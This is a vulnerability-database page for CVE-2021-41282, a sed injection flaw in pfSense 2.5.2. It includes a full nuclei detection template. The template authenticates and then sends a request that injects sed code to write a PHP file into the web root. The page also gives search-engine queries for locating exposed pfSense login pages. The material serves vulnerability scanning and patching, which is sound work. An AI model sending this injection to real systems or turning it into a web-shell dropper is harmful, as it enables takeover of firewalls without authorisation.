HexBrain

Browse / CVEs / CVE-2021-41282

CVE-2021-41282· pfsense / pfsense· CWE-74

pfSense - Arbitrary File Write

highseverity
8.8CVSS score
87.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.

Impact

Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.

Fix

Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.

How to confirm it

Send: GET /index.php ; POST /index.php ; GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/tes… ; GET /test.php
Positive when: contains(body, 'c3959e8a43f1b39b0d1255961685a238') and status_code==200

Run it with nuclei: nuclei -id CVE-2021-41282 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-41282

info:
  name: pfSense - Arbitrary File Write
  author: cckuailong
  severity: high
  description: |
    diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.
  remediation: |
    Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
  reference:
    - https://www.shielder.it/advisories/pfsense-remote-command-execution/
    - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
    - https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41282
    - https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-41282
    cwe-id: CWE-74
    epss-score: 0.87113
    epss-percentile: 0.99751
    cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: pfsense
    product: pfsense
    shodan-query: http.title:"pfsense - login"
    fofa-query: title="pfsense - login"
    google-query: intitle:"pfsense - login"
  tags: cve2021,cve,pfsense,rce,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
      - |
        GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /test.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
          - "status_code==200"
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - '(sid:[a-z0-9,;:]+)'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from